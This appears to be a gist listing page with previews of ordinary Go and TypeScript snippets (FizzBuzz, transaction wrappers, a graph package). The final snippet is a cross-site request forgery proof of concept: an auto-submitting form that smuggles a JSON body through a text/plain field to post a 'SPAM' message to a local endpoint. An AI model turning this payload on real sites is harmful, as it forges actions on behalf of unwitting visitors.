This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package fizzbuzz | |
| import ( | |
| "strconv" | |
| "strings" | |
| ) | |
| // FizzBuzz return "Fizz" for 3*n number, "Buzz" for 5*n number, | |
| // "FizzBuzz" for 15*n number and number as string otherwise. | |
| func FizzBuzz(n int) string { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ... | |
| import { environment } from './environments/environment'; | |
| if (environment.production) { | |
| enableProdMode(); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package action | |
| import ( | |
| "context" | |
| "github.com/vporoshok/bfapp/internal/model" | |
| ) | |
| // TxManager implement transaction decorator | |
| type TxConnection interface { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package connection | |
| import ( | |
| "context" | |
| "database/sql" | |
| "github.com/pkg/errors" | |
| ) | |
| // PG is a connection wrapper with transaction decorators |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| export function pairwise (values: number[], check: number): number { | |
| const sorted = Array.from(values.entries()); | |
| sorted.sort((a, b) => { | |
| let res = Math.sign(a[1] - b[1]); | |
| if (res === 0) { | |
| res = Math.sign(a[0] - b[0]); | |
| } | |
| return res; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package graph | |
| import ( | |
| "fmt" | |
| "math/rand" | |
| "testing" | |
| "time" | |
| "github.com/stretchr/testify/require" | |
| ) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package graph | |
| import ( | |
| "sync" | |
| "github.com/pkg/errors" | |
| ) | |
| // Graph is a main object of this package | |
| type Graph struct { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package graph | |
| type labels []uint8 | |
| func newLabels(n int) labels { | |
| l := make(labels, n/8+1) | |
| for i := range l { | |
| l[i] &= 0 | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package graph | |
| import ( | |
| "fmt" | |
| ) | |
| type direction int8 | |
| const ( | |
| // In is a incoming direction |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <form id="form" method="post" action="http://localhost:4000/form.php" enctype="text/plain"> | |
| <input name='{"equals":"' value='", "message": "SPAM", "receiver": "[email protected]"}'> | |
| </form> | |
| <script> | |
| var form = document.getElementById('form'); | |
| form.submit(); | |
| </script> |